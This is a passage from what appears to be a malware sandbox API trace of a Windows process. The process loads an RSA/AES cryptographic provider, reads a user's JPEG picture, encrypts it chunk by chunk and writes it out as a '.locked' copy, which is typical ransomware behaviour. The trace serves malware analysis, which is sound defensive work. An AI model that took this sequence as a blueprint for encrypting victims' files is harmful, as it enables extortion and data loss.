(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.373] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.373] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.373] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.373] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.373] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.373] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.373] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.374] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.374] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.374] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.374] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.374] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.374] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.374] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.374] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.374] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.375] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.375] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.375] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.375] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.375] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.375] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.375] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.375] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.375] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.375] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.375] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.375] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.375] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.376] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.376] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.376] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.376] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.376] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0137.377] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02828) returned 1 [0137.377] CryptImportKey (in: hProv=0x8e02828, pbData=0x6a66b78, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84978) returned 1 [0137.377] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.378] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.378] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg")) returned 0x20 [0137.378] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg")) returned 0x20 [0137.378] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.378] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.378] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.379] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.379] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.379] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.379] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.379] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.380] GetFileType (hFile=0x764) returned 0x1 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.380] GetFileType (hFile=0x764) returned 0x1 [0137.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.380] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.380] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", lpFilePart=0x0) returned 0x35 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.380] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.381] GetFileType (hFile=0x778) returned 0x1 [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.381] GetFileType (hFile=0x778) returned 0x1 [0137.381] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.381] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x6a7c0f8 | out: pbBuffer=0x6a7c0f8) returned 1 [0137.381] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.381] CryptDuplicateKey (in: hKey=0x8e84978, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84c38) returned 1 [0137.381] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.381] CryptSetKeyParam (hKey=0x8e84c38, dwParam=0x4, pbData=0x6a7d3b4*=0x1, dwFlags=0x0) returned 1 [0137.381] CryptSetKeyParam (hKey=0x8e84c38, dwParam=0x1, pbData=0x6a7d380, dwFlags=0x0) returned 1 [0137.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xdd0\x438\x242") returned 0x0 [0137.382] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.382] ReadFile (in: hFile=0x764, lpBuffer=0x6a80910, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a80910*, lpNumberOfBytesRead=0x99ae7a8*=0x14000, lpOverlapped=0x0) returned 1 [0137.382] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a9491c*, pdwDataLen=0x99ae79c*=0x14000, dwBufLen=0x14000 | out: pbData=0x6a9491c*, pdwDataLen=0x99ae79c*=0x14000) returned 1 [0137.382] WriteFile (in: hFile=0x778, lpBuffer=0x6a7c1b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a7c1b8*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.383] WriteFile (in: hFile=0x778, lpBuffer=0x6a95908*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a95908*, lpNumberOfBytesWritten=0x99ae780*=0x13014, lpOverlapped=0x0) returned 1 [0137.384] ReadFile (in: hFile=0x764, lpBuffer=0x6a80910, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a80910*, lpNumberOfBytesRead=0x99ae7a8*=0xa0b, lpOverlapped=0x0) returned 1 [0137.384] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6aa8940*, pdwDataLen=0x99ae79c*=0xa00, dwBufLen=0xa00 | out: pbData=0x6aa8940*, pdwDataLen=0x99ae79c*=0xa00) returned 1 [0137.384] ReadFile (in: hFile=0x764, lpBuffer=0x6a80910, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a80910*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.384] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6aa9364*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6aa9364*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.384] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6aa9398*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6aa9398*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.384] WriteFile (in: hFile=0x778, lpBuffer=0x6a7c1b8*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a7c1b8*, lpNumberOfBytesWritten=0x99ae7c8*=0xa10, lpOverlapped=0x0) returned 1 [0137.385] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.385] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.385] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg")) returned 0x20 [0137.385] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.385] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.385] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.385] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg")) returned 0x20 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.386] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.387] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.387] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg\\", lpFilePart=0x0) returned 0x2f [0137.387] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0137.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.387] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.387] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.387] CoTaskMemFree 